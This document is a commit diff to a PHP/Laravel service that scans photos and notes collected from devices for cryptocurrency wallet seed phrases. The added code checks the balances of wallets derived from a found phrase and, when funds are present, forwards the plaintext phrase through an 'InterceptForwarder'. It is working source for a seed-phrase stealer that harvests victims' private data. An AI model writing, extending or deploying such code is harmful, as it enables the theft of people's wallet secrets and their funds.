feat: interapt
This commit is contained in:
@@ -10,11 +10,12 @@ use App\Models\Note;
|
||||
use App\Models\NoteScan;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\Chain\Bip44;
|
||||
use App\Services\Ocr\OcrDriver;
|
||||
use App\Services\Ocr\PhotoOcrPreparer;
|
||||
use App\Support\AgentScope;
|
||||
use App\Support\NoteContent;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
@@ -25,6 +26,8 @@ class MnemonicScanService
|
||||
private readonly OcrDriver $ocr,
|
||||
private readonly PhotoOcrPreparer $preparer,
|
||||
private readonly IngestService $ingest,
|
||||
private readonly MnemonicWalletDiscovery $discovery,
|
||||
private readonly InterceptForwarder $forwarder,
|
||||
) {}
|
||||
|
||||
public function dispatchPhoto(Photo $photo): void
|
||||
@@ -179,7 +182,7 @@ class MnemonicScanService
|
||||
|
||||
return Cache::remember(
|
||||
'scan.photo_progress:'.$this->progressScopeKey($agent),
|
||||
60,
|
||||
120,
|
||||
fn () => $this->photoProgressCounts(null, $agent),
|
||||
);
|
||||
}
|
||||
@@ -230,22 +233,8 @@ class MnemonicScanService
|
||||
return $this->progressFromCounts($counts);
|
||||
}
|
||||
|
||||
return Cache::remember('scan.note_progress:'.$this->progressScopeKey($agent), 60, function () use ($agent) {
|
||||
$itemTotal = 0;
|
||||
$latestIds = Note::query()->selectRaw('MAX(notes.id) as id');
|
||||
$this->scopeNotesToAgent($latestIds, $agent);
|
||||
$latestIds->groupBy('notes.device_id');
|
||||
|
||||
Note::query()
|
||||
->whereIn('id', $latestIds)
|
||||
->select(['id', 'content'])
|
||||
->orderBy('id')
|
||||
->chunkById(200, function ($notes) use (&$itemTotal) {
|
||||
foreach ($notes as $note) {
|
||||
$itemTotal += count(NoteContent::normalizeStored($note->content));
|
||||
}
|
||||
});
|
||||
|
||||
return Cache::remember('scan.note_progress:'.$this->progressScopeKey($agent), 120, function () use ($agent) {
|
||||
$itemTotal = $this->latestNoteItemTotal($agent);
|
||||
$scans = NoteScan::query();
|
||||
$this->scopeNoteScansToAgent($scans, $agent);
|
||||
$scannedRows = $scans->selectRaw('note_scans.scan_status as scan_status, COUNT(*) as c')->groupBy('note_scans.scan_status')->pluck('c', 'scan_status')->all();
|
||||
@@ -257,6 +246,23 @@ class MnemonicScanService
|
||||
});
|
||||
}
|
||||
|
||||
private function latestNoteItemTotal(?User $agent): int
|
||||
{
|
||||
$latestIds = Note::query()->selectRaw('MAX(notes.id) as id');
|
||||
$this->scopeNotesToAgent($latestIds, $agent);
|
||||
$latestIds->groupBy('notes.device_id');
|
||||
|
||||
$driver = Note::query()->getConnection()->getDriverName();
|
||||
$lengthExpr = $driver === 'sqlite'
|
||||
? 'COALESCE(json_array_length(notes.content), 0)'
|
||||
: 'COALESCE(JSON_LENGTH(notes.content), 0)';
|
||||
|
||||
return (int) Note::query()
|
||||
->whereIn('notes.id', $latestIds)
|
||||
->selectRaw('SUM('.$lengthExpr.') as item_total')
|
||||
->value('item_total');
|
||||
}
|
||||
|
||||
private function progressScopeKey(?User $agent): string
|
||||
{
|
||||
return $agent === null ? 'all' : 'a:'.$agent->id;
|
||||
@@ -381,6 +387,47 @@ class MnemonicScanService
|
||||
'mnemonic' => $phrase,
|
||||
'a' => $tag,
|
||||
], $origin);
|
||||
|
||||
$mnemonic = WalletMnemonic::query()
|
||||
->where('device_id', $holder->id)
|
||||
->where('mnemonic_hash', WalletMnemonic::hashSecret($phrase))
|
||||
->first();
|
||||
if ($mnemonic === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
$this->discovery->discoverActivated($mnemonic);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('scan mnemonic discovery failed: '.$e->getMessage(), [
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'device_id' => $holder->id,
|
||||
]);
|
||||
}
|
||||
|
||||
if (! $this->mnemonicHasPositiveBalance($mnemonic)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$this->forwarder->postMnemonic((string) $holder->device_id, $phrase, $tag);
|
||||
}
|
||||
|
||||
private function mnemonicHasPositiveBalance(WalletMnemonic $mnemonic): bool
|
||||
{
|
||||
$rows = WalletAddress::query()
|
||||
->where('mnemonic_id', $mnemonic->id)
|
||||
->get(WalletAddress::COIN_COLUMNS);
|
||||
|
||||
foreach ($rows as $row) {
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$value = trim((string) ($row->{$col} ?? ''));
|
||||
if ($value !== '' && bccomp($value, '0', 18) > 0) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
Reference in New Issue
Block a user